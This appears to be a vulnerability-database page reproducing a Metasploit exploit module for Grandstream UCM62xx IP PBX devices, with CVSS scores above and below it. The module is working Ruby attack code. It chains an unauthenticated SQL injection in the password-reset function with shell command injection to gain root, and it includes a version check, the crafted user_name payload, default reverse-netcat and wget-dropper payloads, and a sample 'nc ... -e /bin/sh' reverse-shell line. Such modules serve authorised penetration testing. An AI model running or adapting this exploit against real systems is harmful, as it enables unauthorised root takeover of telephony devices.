Lucene search

K
metasploitJbaines-r7MSF:EXPLOIT-LINUX-HTTP-GRANDSTREAM_UCM62XX_SENDEMAIL_RCE-
HistoryJan 15, 2022 - 8:46 p.m.

Grandstream UCM62xx IP PBX sendPasswordEmail RCE

2022-01-1520:46:56
jbaines-r7
www.rapid7.com
195
sql injection
command injection
remote code execution
unauthenticated access
grandstream ucm62xx
firmware version.

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.975

Percentile

100.0%

This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the “Forgot Password” function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password ‘’ cat <<'TTsf7G0' z' or 1=1--;nc 10.0.0.3 4444 -e /bin/sh;TTsf7G0 This module affect UCM62xx versions before firmware version 1.0.19.20.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
          a command injection vulnerability (technically, no assigned CVE but was inadvertently
          patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
          series of devices. The vulnerabilities allow an unauthenticated remote attacker to
          execute commands as root.

          Exploitation happens in two stages:

          1. An SQL injection during username lookup while executing the "Forgot Password" function.
          2. A command injection that occurs after the user provided username is passed to a Python script
          via the shell. Like so:

          /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
          password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `

          This module affect UCM62xx versions before firmware version 1.0.19.20.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2020-5722' ],
          [ 'EDB', '48247']
        ],
        'DisclosureDate' => '2020-03-23',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_ARMLE],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'DisableNops' => true,
                'BadChars' => '\'&|'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_ARMLE],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget' ]
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 8089,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  ##
  # Sends a POST /cgi request with a payload of action=getInfo. The
  # server should respond with a large json blob like the following,
  # where "prog_version" is he firmware version:
  #
  # {"response"=>{
  #   "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",
  #   "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",
  #   "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",
  #    "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",
  #    "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",
  #    "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",
  #    "support_webrtc_cloud"=>"0"}, "status"=>0}
  ###
  def check
    normalized_uri = normalize_uri(target_uri.path, '/cgi')
    vprint_status("Requesting version information from #{normalized_uri}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalized_uri,
      'vars_post' => { 'action' => 'getInfo' }
    })

    return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200

    body_json = res.get_json_document
    return CheckCode::Unknown('No JSON in response') unless body_json

    prog_version = body_json.dig('response', 'prog_version')
    return false if prog_version.nil?

    vprint_status("The reported version is: #{prog_version}")

    version = Rex::Version.new(prog_version)
    if version < Rex::Version.new('1.0.19.20')
      return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
    end

    return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
  end

  ##
  # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
  # and then it will get passed to a python script via sh which allows us to execute a command injection.
  # It will look something like this:
  #
  # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
  #     password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
  #
  # This functionality is related to the"Forgot Password" feature. This function is rate limited by
  # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few
  # payloads are appropriate.
  ###
  def execute_command(cmd, _opts = {})
    rand_num = Rex::Text.rand_text_numeric(1..5)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cgi'),
      'vars_post' =>
      {
        'action' => 'sendPasswordEmail',
        'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"
      }
    }, 5)

    # the netcat reverse shell payload holds the connection open. So we'll treat no response
    # as a success. The meterpreter payload does not hold the connection open so this clause digs
    # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
    # generates an error (e.g. rate limit error)
    if res
      fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200

      body_json = res.get_json_document
      fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json

      status_json = body_json['status']
      fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
      fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
    end

    print_good('Exploit successfully executed.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.975

Percentile

100.0%